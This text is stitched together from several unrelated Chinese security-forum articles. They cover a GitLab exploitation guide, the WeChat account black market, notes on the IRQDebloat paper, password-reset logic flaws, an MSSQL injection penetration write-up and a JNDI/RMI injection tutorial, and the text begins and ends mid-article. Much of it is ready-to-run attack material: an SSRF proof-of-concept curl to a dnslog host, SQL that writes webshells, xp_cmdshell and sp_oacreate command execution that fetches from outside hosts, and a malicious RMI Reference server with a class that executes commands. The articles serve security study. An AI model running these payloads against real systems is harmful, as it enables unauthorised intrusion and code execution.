Enqueued ActionMailer::MailDeliveryJob (Job ID: 191a2ed7-0caa-4122-bd06-19c32bffc50c) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", {:args=>[#<GlobalID:0x00007f72f7503158 @uri=#<URI::GID gid://gitlab/User/1>>]}
=> true
管理员root用户密码重置完毕，重置后的密码为admin1234。
下面是我用刚刚的shell执行的效果：
1、进入控制台：gitlab-rails console -e production
注意注意：这里一定要等一等，网上的文章说这里会卡住，其实只是人家程序在加载
2、找到root用户，一开始我也以为是爆错，心想凉凉了，结果最后是执行了的
3、更改密码。
user.password = 'admin1234'
user.password_confirmation = 'admin1234'
4、最后保存
user.save
5、回到登陆界面，输入root/admin1234。
发现成功登录，可以得到gitlab平台上的源代码。
**利用方式三：SSH免密登录**
如果上面的第二种利用方式不行的话，可以尝试SSH免密登录这种方式
查看/etc/passwd
在 /etc/passwd 文件中，大家可以把最后这个字段理解为用户登录之后所拥有的权限。如果这里使用的是 bash
命令解释器，就代表这个用户拥有权限范围内的所有权限。Shell 命令解释器如果为 /sbin/nologin，那么，这个用户就不能登录了。
可以看到，这里的gti用户具有ssh登录权限，可以通过向git用户写入公钥进行登录。
由于SSH免密登录不是本文重点，想了解gitlab免密登录可以看这篇文章：
<https://zhuanlan.zhihu.com/p/439476986>
**参考链接**
<https://paper.seebug.org/1772/>
<https://www.ddosi.org/cve-2021-22205/>
**5、SSRF未授权（CVE-2021-22214）**
**影响版本**
10.5 <= GitLab < 13.10.5
13.11 <= GitLab < 13.11.5
13.12 <= GitLab <= 13.12.2
**漏洞复现**
POC为：（使用时修改两处即可）
curl -k -s --show-error -H 'Content-Type: application/json' http://127.0.0.1/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content":"include:\n remote: http://6hd7mj.dnslog.cn/api/v1/targets/?test.yml"}'
完整数据包：
POST /api/v4/ci/lint HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 112
{"include_merged_yaml": true, "content": "include:\n remote: http://6hd7mj.dnslog.cn/api/v1/targets?test.yml"}
参考文章
<http://cn-sec.com/archives/889456.html>
**6、CVE-2022-2185**
详情请见：<https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/> | 社区文章 |
# “高价收购私人微信号”的局中局
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
情人节那天，刚读小学六年级却早已情窦初开的表弟，为了给他倾慕已久的女神送礼物，决定变卖自己的微信号。
可他万万没想到的是，给了账号密码后，钱还没收到，对方光速翻脸，把他微信给删了。
大概，骗子也看不惯这些过初十的人吧。。。
身为一个合格女神舔狗，他没有轻言放弃，在被骗后花一晚上时间，查阅、专研了各种防骗教程和攻略。然后找了一个专业做微信号买卖的平台，把我姨的账号拿去给卖了！！！
虽然，最终换了200块钱，但也被我姨暴打一顿。表弟，卒于2019年2月14日…..
本以为只有我表弟这种小学生，才会去干这种卖账号换钱的傻事，可在网上一搜索，发现这样的人还不少。
甚至，有些账号的微信好友都没删。。。
## 微信号能拿去买卖吗？
网络时代，我们有太多的网络资产，不少网友开始操心自己的网络资产在百年之后该怎么办？
对妮美在内的很多80后、90后而言，中小学时都非常看重自己QQ号等级。常幻想“等自己老了，就把自己积累的满是太阳的高等级QQ,遗传给自己的孩子”。
现在我辈早已从QQ转战微信，那么微信账号可以转让、继承吗？
### 你的微信并不属于你自己
如果你打开微信的条款协议，仔细查看，你就会发现，你的微信账号其实并不属于你自己。它提到，个人完成注册后，仅获得微信的使用权，并没有获得所有权，也因此，不得赠与、借用、租出、转让或售卖微信号。
所以，你的微信号根本不属于你自己呀！惊不惊喜？意不意外？
不仅是微信，包括上述提到的微博、QQ以及支付宝等账号都不属于你自己！！！
### 倒卖微信号是违法的
在百度搜索“买卖微信账号”，可以发现许多专业从事卖微信号的网站，加微信就能购买，全程下来没有任何门槛。
我这边也轻松加了一个昵称为“夜的凄美”的从业人员微信，她那边一个号报价350。值得注意的是，她全程语音沟通，应该是怕关键词被识别出来，被封号。
而且尽管他们网站、产品看上去一应俱全，一副正规生意的模样，但法律条文却明确的指出，他们正在从事违法行为。
不管你是买还是卖，还是倒卖中介，只要参与到这里面，都已涉嫌违法。倘若你继续去追问，这些微信账号拿去干什么？会发现这后面牵连着更多的骗局。
## 回收微信账号的去处
黑产不是傻子，以这么高的价格收集来这些账号，自然是因为其创造的价值远高于此。目前来说，这些账号主要有这些用途：
### 站街（提供色情服务）
很多出租、回收的账号都是用来“招嫖”，不管你男女，直接换成空姐、护士、学生、少妇装扮的性感照片头像。在各地“附近的人”上发布虚假色情信息。
有网友就曾经历过，他表示租了一次微信号之后，第二天还有人加他的号，说“今天做不做，这次给200”。
还有些人利用微信售卖色情视频、侵权电影、黄色小说，为了规避风险，也经常购买大量微信号用来更换。
### 微信群赌博
微信赌博是上新闻频率较高的安全事件了！比如微信红包踩雷，庄家为了保证群的活跃度和人气，他们往往会花钱买大量小号。
群内随便一个下注都是两三百，庄家也因此得以快速挣钱，一天甚至能入好几万。自然，这几百块的买微信小号钱，不值一提。
此外，每一个账号每日红包支出或收入都会受腾讯监管，如果表现异常，微信很容易被封号，因此，庄家也需要多买些微信号来收钱。
还有常见的交友骗局、买茶叶骗局、炒股骗局等等，涉及的案件不计其数，受骗者更是多如牛毛。
### 绕不开的侥幸心理
不知道风险，才为了一点钱把自己账号卖掉，这并不是事实的全部。真实情况是，很多人明知道这会被用来行骗，却还是卖掉自己的账号。木已成舟，多一个少一个都没差，他们认为，我只是提供了一个账号。
所以，尽管微信官方一再提高监管力度，警方也在一直打击，但这些微信骗局却依然野火烧不尽。因为，它具有某种来自其植根土壤的顽固生命力，参与者的侥幸和贪婪。
始终有足够多的人们贪婪并愚蠢如是，哪怕行为违法，但还是妄图依靠投机取巧捞得一桶金。
“凝视深渊者，深渊将回以凝视”，在接触黑产时，你以为你能赚点小钱，却大有可能是“螳螂捕蝉、黄雀在后”，被其它人骗，甚至被逮捕，到最后到底是谁被套路呢？
最后，给大家分享一个“当卖茶叶遇到贪玩蓝月” 视频，来围观下两大高手如何过招。也提醒一下各位家长，请务必要管好自己的孩子，可别再瞎跑出来卖微信号了！ | 社区文章 |
# 《IRQDebloat: Reducing Driver Attack Surface in Embedded Devices》论文笔记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Abstract+Introduction
本文作者提出了IRQDebloat，通过自动硬件重写来禁用不需要的硬件功能。本文基于以下观点：系统的外部输入大多是通过interrupt
requests(IRQs)来进行传递的，IRQDebloat系统地探索了目标固件中的中断处理代码，识别出针对每个外设的处理函数，最终重写固件来禁用对应着不需要的硬件功能的函数。
**Key insight:** 来自驱动代码的攻击面在大多数情况下只能被经由硬件中断的外部输入触发。因此通过找到系统中的interrupt
handlers，将他们与硬件功能相匹配，然后通过固件重写禁用掉不需要的功能，可以有效的关闭外部世界中的攻击面。
**主要流程：** IRPDebloat根据真是的嵌入式设备拍摄CPU于内存的快照，然后将快照迁移到模拟器PANDA中，然后通过一个顶层的终端处理器（a
top-level interrupt handler）来系统的探索不同路径。收集到trace之后，使用differential
slicing技术来准确地定位系统中针对每个外设的处理程序。最终对真是设备中的处理程序进行插桩，并将其替换为一些简单的返回函数。
**应用：** 两种CPU架构ARM、MIPS，四种操作系统Linux、FreeBSD、VxWorks、RiscOS，七种嵌入式SoC平台
## BACKGROUND
### Interrupts
interrupt来自硬件外设，并造成异步的控制流转移，转移给interrupt handler，这是用来为中断服务的函数。Interrupt
handler 然后与发出中断的外设进行通信，处理外设挂起的I/O请求，最终acknowledge中断，然后结束。
上图所示为嵌入式系统中的IRQ handling的例子， **过程如下** ：
1. 外设发起中断，中断控制器将中断号存储在MM寄存器中的bitset中的一个比特，然后再由其向CPU发送中断信号。
2. CPU响应中断，跳转到架构定义的顶层的中断处理器中。
3. 中断处理器而后从中断控制器中检索中断号，并使用它为特定的外设调度处理程序。
4. 这个与外设对应的处理程序使用MMIO处理外设的I/O请求，最终acknowledge这个中断。
### Execution Indexing
本文中找到中断处理函数的trace analysis依赖于 **execution indexing** ，一种用于对齐程序路径对的技术，标记出他们的
**分叉点以及重新聚合点** （diverge and reconverge）。 **相比于一些路径中的小的分叉，更应当关注路径中大的分叉点。**
**工作原理：** Execution index(EI)再执行中独一无二的 **识别出一个点** ，使其能够跨不同的执行路径进行比较。它使用一种
**栈数据结构** ，能够定义 **代码中基本块的执行上下文**
，比如在这个基本块到达之前触发了多少条件分支。当遇到新的的代码上下文时，比如遇到了函数调用或者条件分支，EI将其 **地址以及immediate post-dominator的位置压进stack** 内。因为根据定义，immediate post-dominator是从当前基本块出去必须经过的路径中最早的节点，它定义了执行上下文的终点。当trace中的栈顶的immediate post-dominator被触发，就将stack顶pop。
为了比较两个trace， **EI假设他们最初是对齐的** ，两个trace都对应着 **空的EI stack**
。然后串联的沿着两条trace进行探索，同时更新EI stack， **当EI stack出现不同时** ，算法将其 **标记为控制流分叉**
，打印分叉点，然后进入未对齐状态（disalignment state）。在此之后将设偏离的trace已经进入了嵌套的上下文中，造成了EI
stack增长，算法通过 **探索EI stack更大的trace来尝试重新对齐路径** ， **直到两个EI stack再次一致**
，在此点认为trace被重新对齐。
### Assumptions and Usage Scenarios
1. 分析者能够得到物理设备用于分析。
2. 分析者能够为设备更新新的、修改过的固件。
3. 分析者能够获取设备在运行态时的CPU和内存快照。
**有了上述条件本文工作即可使用设备中的CPU和内存状态在软件模拟器中恢复执行，并通过fuzzing模拟中断控制器的MM寄存器来探索经过中断处理代码的路径。**
## DESIGN
下图所示未系统流程图， **首先获取设备运行态的快照，然后将其迁移到全系统模拟器PANDA中，紧接着在PANDA中触发中断、并通过fuzz
MMIO寄存器来收集trace；进而为了发现中断处理程序，使用differential
slicing分析收集到的trace；然后可以将固件中有关handler的功能替换为无功能函数，使其忽略外设的输入，以此来禁用相关功能。**
**一旦候选处理函数被识别以后，可以通过以下消除过程来识别不需要的功能：首先一个一个的禁用相关功能，然后启动设备，查看对应不需要的功能是否被禁用；当对应外设的处理函数被识别和禁用之后，来自外设驱动代码的攻击面将会被关闭。**
### Challenges
#### Hardware Diversity
每个中断控制器都能够实现其自身的协议，所以 **工作必须对特定的终端控制硬件没有先验知识的**
，所以作者开发了启发式规则来确定何时能够判断中断处理过程中结果，来允许fuzzing进一步进行探索。
#### Binary Analysis
中断处理程序中往往涉及了 **函数指针、嵌套循环以及链表函数** ，对于自动化二进制静态分析造成了困难，因此作者
**使用动态分析过程中的信息作为辅助，来加强静态分析的效果** 。
#### Fuzzing Challenges
根据固件中断处理的特点，开发出对应的fuzzing框架。
### Snapshot Collection
本文原型使用 **JTAG、QEMU(如果没有对于目标架构的支持)、或者是运行在设备上的代码** 来收集快照。
### Trace Collection
在快照 **加载到PANDA** 中， **收集中断触发的trace** ，中断会使得模拟的 **CPU切换到IRQ mode** ，并
**跳转到架构定义的、中断处理的入口点** 。在此开始，开始 **打印经过的每个基本快的首地址** 。当固件读取 **来自RAM之外的内存地址** 时，会
**喂给一个fuzzd MMIO value** 。在收集完成trace之后，将会 **重置模拟器状态，并且尝试其他的fuzzing MMIO序列的值**
。
此过程需要面临的苦难就是如何中断一个执行过程的tracing，显然，需要使得trace足够长能够用来获取针对某个特殊IRQ的处理过程，并且需要尽可能地短用来提高fuzzing性能。作者采用的解决方案是，在模拟器中执行完毕10个基本快序列之后，即可acknowledge中断。
### IRQ Fuzzing
### Trace Preprocessing
在收集到的trace中包含较多的错误处理代码以及调试信息，所以 **有必要去除噪音** ，主要通过两种方式：
1. 尝试识别来自fuzzing的 **与中断处理有关的I/O序列的子集** 。
2. 通过计算trace中经过的基本块地址序列的哈希值，来 **消除重复trace** 。
**Postdominator Computation：** 利用 **immediate postdominator来加强trace的信息** ，所以
**trae中每个基本块的地址就为一个信息对（addr,ipdom）** 。为了解决二进制分析不精确的情况，使用 **trace中的地址来指导反汇编**
。在很多情况下， **反汇编器会遗失函数中的部分基本块** ，因此本工作 **将CFG转换为sub-CFG** ，同时计算sub-CFG的immediate
postdominators。
**QEMU中的translation blocks和静态分析中的BB不一致** ，qemu中的translation
block是以分支或者call指令结束的线性代码，而CFG中的BB将会进一步切割，因为连接基本块内部的边是不被允许的。
为了解决这个问题， **在trace的重分析过程中检查丢失的BB** ：对于trace中的每个地址，
**交叉检查当前地址结束的下个地址，当前基本块的出边（outgoing ledge），以及trace中的下一个地址**
；来确定是否需要将translation block进一步分割为正确的BB，如果需要的话，就为对应的BB起点创建一个trace entry。
### Trace Analysis
采用了 **differential slicing中的trace alignment算法（基于execution indexing）**
来分析收集到的trace，最终推断出不同的IRQ处理过程。由于 **所有的IRQ interrupt拥有相同的入口点，他们共享相同的trace前序** ，并
**在某特殊点进入不同的状态** 。所以通过比较来自fuzzing过程中的trace对，最终能够 **找到所有IRQ的分叉点** 。
## Instrumentation
**通过重写固件中的中断处理代码未无用函数来禁用相关中断处理过程** ，首先 **将处理函数的虚拟地址转换为物理地址** ，然后，
**对于每个patch点，提取出其物理地址附近的数据来形成签名** 。然后使用这个签名， **在内核中搜寻以找到匹配的偏移** ，最终可以
**静态的对齐插桩** 。
**如何对固件修改以绕过硬件签名等问题不是本文所需要解决的内容。**
## Manual Efforts
1. 需要人工来获取设备快照，并且重新对设备刷新快照。对于每一个快照花费几小时到几天时间不等。
2. 需要人工判断是否已经成功patch掉不需要的硬件功能。
3. 需要人工逆向来决定patch 中断函数为无用函数的返回值为多少。 | 社区文章 |
## **前言**
首先这不是一篇总结性的帖子，毕竟对于密码找回的测试方法网络上有比较全面的总结，比如用户凭证暴力破解，系统返回了重要的凭证，邮箱手机弱token,token通用，session覆盖，用户凭证有效期问题，凭证算法被破解，前端校验等等一系列漏洞。在这里附上前辈总结的脑图，总结的也是比较详细了。
在日常的授权测试以及论坛瞎逛中，发现了一些对于个人而言比较有意思的找回密码的操作，独乐乐不如众乐乐，分享出来希望能帮到各位师傅。
## **Host Header欺骗**
有些人认为HTTP的联机就是靠包里的HOST header来连接的,所以会认为如果修改掉包里的HOST,
那么就连接不到目标服务器,所以是不可控的。其实HTTP的联机与包里的HOST并没有啥关系, HTTP的联机是TCP/IP建立的, 所以修改掉HOST
HEADER并不会把包丢到另外一个服务器上。
所以当应用使用$_SERVER['HTTP_HOST']获取网站URL并拼接到找回密码的链接当中就会产生漏洞。当你使用网站密码重置功能时，网站URL可能在将来会改变，所以要动态地生成一个邮箱找回密码的链接来匹配服务器的URL。这个时候可能就会使用$_SERVER['HTTP_HOST'],Host
header 是客户端提供的，意味着攻击者可以将他们自己的网址写到重置密码的邮件当中，威胁任意用户的账户安全。通过 X-Forwarded-Host
来拼接找回密码链接中的域名，这样可以通过写入自己控制的域名，然后通过访问记录发现找回密码链接，在拼接回正确域名重置任意用户密码。
利用条件是受害者必须要点击重置链接，你才能从你控制的网站中通过访问记录查看到重置链接。
举个kackerone的例子:
Mavenlink允许用户注册一个mavenlink.com的子域名去展示他们的内容，所以他们需要一个方法去动态地决定公司的子域名。
host header 可以设置为mavenlink.com的任意子域名，但是从mavenlink.com更改域名将会返回一个错误，而不是发送一个邮件。
添加一个随机的mavenlink.com的子域名，但是这会被定向到正确的页面，没办法插入自己的域名。
测试特殊字符。服务器接受host header中的一个问号，生成下面的链接
Host: example.com?.mavenlink.com
这样就可以从用户邮件中盗取密码重置token
当然这里还涉及到了域名检测的绕过问题，一旦用户点击该链接，我们在example.com即可获取到重置链接信息
## **验证链接批量发送**
在给后端传递要发送验证链接的邮箱或者手机号时，可以传递一个邮箱或者手机的集合，然后只要第一个邮箱或者手机号是数据库里存在的邮箱或者手机号，那么
将会向这批手机号或者邮箱发送一样的链接信息
团队测试中遇到的例子:
在hackerone披露的漏洞中同样存在这样的例子，通过发送两个邮箱，一个为受害者的邮箱，一个为自己控制的邮箱，这样就可以窃取到受害者邮箱中的重置密码的链接，达到任意用户密码重置的目的。
由于没有看到过这种触发该漏洞的源码，猜测验证环节是允许获取一个类似于集合的东西，遍历其中的值是否有存在于数据库中的值，如果存在则对该集合放行，然后发送验证信息的逻辑同样允许传入一个集合再去遍历集合中的每一个值，
对每一个值发送一样的验证链接
## **手机号码中的sql注入**
由于sql语句的拼接问题导致在手机号处存在sql注入问题，其实这也告诉我们在sql语句的执行中只要涉及到了拼接问题就有可能存在漏洞，在团队授权的测试中也遇到过更改日期处存在sql注入的例子，反正都挺好玩的。
这里用了一个sqrt函数,sqrt为一个平方根计算函数，当经过平方根计算之后和前面的数字拼接，手机号存在于数据库中则发送验证码
如果经过计算和前面的数字拼接手机号不存在于数据库中则显示验证码发送失败
通过这种方式来进行数据库相关信息的猜测
## **总结**
这种逻辑漏洞总是在攻与防的斗争中不断前进，肯定会有脑洞大开的人发现更多的骚套路，这是目前在测试中遇到过的几种比较有意思的任意用户密码重置漏洞的操作，在互联网上能找到例子的尽量采用了互联网例子，如有侵权地方还望告知 | 社区文章 |
#### 前言
某日接到一个项目,只给了一个二维码。
#### 1、数据管理系统
扫描二维码后在页面下方得到该公司的名字,百度搜索该公司的名字,找到一个数据中心。
访问该页面后发现存在用户名遍历,使用Burp爆破"常见用户名Top500"得到三个账号,并成功爆出其中一个账号的密码。
登陆后发现大都是一些信息管理的功能，没有发现可利用的点。
可能是没有管理员账号,所以功能较少,这种后台感觉拿到管理员账号也有点悬,先看其他的。
#### 2、旁站
##### 2.1 登陆后台
在Fofa搜索该IP找到另一个站点,是该公司的其他系统。
该页面的账号是自动填充,输入密码点击登陆会报500。
可能是密码错误的返回页面?一边爆破密码一遍测其他漏洞。
在输入登陆密码的时候加入单引号,出现了SQL报错,经过测试存在Sql注入。
现在的思路是进入后台测试是否可以Getshell、通过Sql注入进行Getshell。
使用万能密码进入后台,提示是游客权限,也没有什么利用点,准备获取管理员账号密码。
得到登陆后台账号密码后,输入正确密码也会报500,很奇怪。
放下后台Getshell的思路，尝试Sql注入Getshell。
##### 2.2 Mssql注入Get WebShell
经过简单的信息收集,得到该系统的信息 mssql 2012 dbo权限 win6.2
常见的Getshell方法有写Webshell、通过扩展执行命令。打算先写Webshell,以免开启扩展执行命令过程中被杀软拦截打草惊蛇。
Mssql常用的写Webshell方法"差异备份、Log备份、sp_makewebtask"等,写webshell的之前可以先写一个正常文件,来确认可以写入。
###### 2.2.1 sp_makewebtask写Shell
权限:dbo、sa 且对写入的路径有写权限
条件:存在sp_makewebtask扩展
大致思路是创建一个表,将十六进制的Webshell插入表中,使用sp_makewebtask导出表中的数据到指定文件。
';create table cmd (a image)-- ';insert into cmd(a) values(0x616263)-- #webshell的16进制
';execute sp_makewebtask @outputfile='D:\test\1.txt','@query='select a from cmd'-- ';drop table cmd--
在网上看到可以使用一条语句来完成,不过没有测试,因为该服务器不存在sp_makewebtask扩展....
exec sp_makewebtask 'c:\www\testwr.asp','select''<%execute(request("zz"))%>'' '
###### 2.2.2 Log备份
在两个备份Getshell方法中,先试Log备份。Log备份只备份操作日志,相对来说导出的文件较小。
;alter database 数据库名称 set RECOVERY FULL -- #将数据库设置为完整模式,完整模式会记录所有操作日志,支持备份日志。
;create table cmd (a image) -- ;backup log db_name to disk = 'E:\test\test.aspx' with init -- #备份db_name数据库的日志到指定文件头部
;insert into cmd (a) values ('hex_webshell')--
;backup log 数据库名称 to disk = 'E:\test\test.aspx' --
Sql报错泄露了绝对路径,省去找路径的麻烦。语句执行过程中,一直提示找不到指定路径。
先尝试往C盘写文件,测试是否有写入权限。执行完后没报错,说明写进去了,不是权限问题。
在这想了半天,突然想起来在信息收集的时候没有测该站点是否为站库分离!
啊这.....
@@servername > 0
select host_name > 0
先暂时放弃通过写Webshell来Getshell了。如果数据库在外网的话，它所在的服务器没有搭建web服务,写了也没法访问,访问到了也不一定解析,何况数据库的IP都没有...
##### 2.3 执行命令
###### 2.3.1 判断扩展是否存在
使用扩展执行命令前一般先判断该扩展是否存在，Bool型判断语句在这不适用,无论返回的是True还是False都会报错。
执行为true
把xp_cmdshell改成不存在扩展还是会报错
可能就是xp_cmdshell不存在,但在之后又尝试了几个扩展,都返回统一报错页面。
可以使用时间盲注判断。
`';if(select count(*) from master.dbo.sysobjects where xtype ='x' and name =
'xp_cmdshell')=1 waitfor delay '0:0:5'--`
如果有报错回显的话,也可以通过执行该扩展判断。
###### 2.3.2 xp_cmdshell
mssql中最常见的执行命令扩展,05版本以后默认关闭。
之前已经判断xp_cmdshell存在,将其开启后先判断该扩展是否可以正常执行命令。
这里使用ping判断该命令是否成功执行,但执行完会一直卡在那。dnslog也没有回显,之后又尝试了http、dns协议也都没有回显。
;exec master..xp_cmdshell 'ping xxx.dnslog.cn'
;exec master..xp_cmdshell 'certutil -urlcache -f -split http://xxx/'
;exec master..xp_cmdshell 'nslookup xxx.dnslog.cn'
以前遇到过这种情况,是被杀软拦截了,于是乎先pass。
###### 2.3.3 sp_oacreate
使用sp_oacreate执行命令,缺点是没有回显。延续xp_cmdshell的思路,先通过测试是否出网来确定命令是否成功执行。测试完发现和xp_cmdshell的结果一样,平台都接收不到请求。
这时我怀疑不是杀软的问题,可能是数据库服务器不出网？
为了验证该想法,改用另一种方式来判断。思路是执行命令并将执行结果写入本地文件,然后使用Bulk
insert将命令回显读取到数据库,最后通过Sql查询就可以获取到命令执行结果。
执行命令保将执行结果写入文件
;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami > c:\\1.txt';
将命令执行结果导入表
create table testa(line text);bulk insert testa from 'c:\\1.txt' with (fieldterminator='n',ROWTERMINATOR='nn');--
查询表中内容(命令执行结果)
and 1=(select top 1 * from 数据库名..testa FOR XML PATH(''))--
最后进行痕迹清理,将该表、存储执行命令回显的文件删除。
整合这几步操作
通过读取到的命令回显,印证了之前的想法。
##### 2.3 遇到的问题
###### 2.3.1 无法进行大容量加载
如果没杀软出现这种情况,可能因为命令还没执行完,等等就好了。
###### 2.3.1 将被二进制截断
这个问题我也没解决,百度得到的结果是字段长度问题,不过我改了没成功。
可以配合findstr过滤想要的内容
#### 3、后记
后续测试xp_cmdshell其实也可以执行命令,不过也是没回显,思路和sp_oacreate一样。
做完这些一看时间已经下午四点了,回想起上一次看到今天早上的阳光,还是在今天早上。 | 社区文章 |
# JNDI
JNDI（全称`Java Naming and Directory Interface`）是用于目录服务的Java
API，它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java
api一样，JNDI独立于底层实现。此外，它指定了一个服务提供者接口(SPI)，该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供，选择取决于所使用的实现。
# JNDI注入
`JNDI`注入简单来说就是在`JNDI`接口在初始化时，如：`InitialContext.lookup(URI)`，如果URI可控，那么客户端就可能会被攻击
# RMI
通过RMI进行JNDI注入，攻击者构造的恶意RMI服务器向客户端返回一个`Reference`对象，`Reference`对象中指定从远程加载构造的恶意`Factory`类，客户端在进行`lookup`的时候，会从远程动态加载攻击者构造的恶意`Factory`类并实例化，攻击者可以在构造方法或者是静态代码等地方加入恶意代码。
`javax.naming.Reference`构造方法为：`Reference(String className, String factory,
String factoryLocation)`，
1. `className` \- 远程加载时所使用的类名
2. `classFactory` \- 加载的`class`中需要实例化类的名称
3. `classFactoryLocation` \- 提供`classes`数据的地址可以是`file/ftp/http`等协议
因为`Reference`没有实现`Remote`接口也没有继承`UnicastRemoteObject`类，故不能作为远程对象bind到注册中心，所以需要使用`ReferenceWrapper`对`Reference`的实例进行一个封装。
服务端代码如下：
package demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
恶意代码（`test.class`），将其编译好放到可访问的`http`服务器
import java.lang.Runtime;
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
当客户端通过`InitialContext().lookup("rmi://127.0.0.1:7777/calc")`获取远程对象时，会执行我们的恶意代码
package demo;
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
}
}
其调用栈如下：
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDI_Test (demo)
前面的那几步是获取上下文信息的这里不过多展开，主要讲关键那几步。跟进`com.sun.jndi.rmi.registry.RegistryContext#decodeObject`，这里是将从服务端返回的`ReferenceWrapper_Stub`获取`Reference`对象。
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
跟进`javax.naming.spi.NamingManager#getObjectInstance`，此处为获取`Factory`类的实例。
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
//省略部分代码
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
跟进`javax.naming.spi.NamingManager#getObjectFactoryFromReference`，此处`clas =
helper.loadClass(factoryName);`尝试从本地加载`Factory`类，如果不存在本地不存在此类，则会从`codebase`中加载：`clas
= helper.loadClass(factoryName,
codebase);`会从远程加载我们恶意class，然后在`return`那里`return (clas != null) ?
(ObjectFactory) clas.newInstance() : null;`对我们的恶意类进行一个实例化，进而加载我们的恶意代码。
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
`com.sun.naming.internal.VersionHelper12#loadClass`具体代码如下，可以看到他是通过`URLClassLoader`从远程动态加载我们的恶意类。
public Class loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
对于这种利用方式Java在其`JDK
6u132、7u122、8u113`中进行了限制，`com.sun.jndi.rmi.object.trustURLCodebase`默认值变为`false`
static {
PrivilegedAction var0 = () -> {
return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
};
String var1 = (String)AccessController.doPrivileged(var0);
trustURLCodebase = "true".equalsIgnoreCase(var1);
}
如果从远程加载则会抛出异常
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at demo.JNDI_Test.main(JNDI_Test.java:7)
# LDAP
`LDAP`，全称`Lightweight Directory Access
Protocol`，即轻量级目录访问协议，和Windows域中的`LDAP`概念差不多，这里就不进行过多展开了。
## JDK < 8u191
我们在上面讲了在`JDK 6u132`, `JDK 7u122`, `JDK
8u113`中Java限制了通过`RMI`远程加载`Reference`工厂类，`com.sun.jndi.rmi.object.trustURLCodebase`、`com.sun.jndi.cosnaming.object.trustURLCodebase`
的默认值变为了`false`，即默认不允许通过RMI从远程的`Codebase`加载`Reference`工厂类。
但是需要注意的是JNDI不仅可以从通过RMI加载远程的Reference工厂类，也可以通过LDAP协议加载远程的Reference工厂类，但是在之后的版本Java也对LDAP
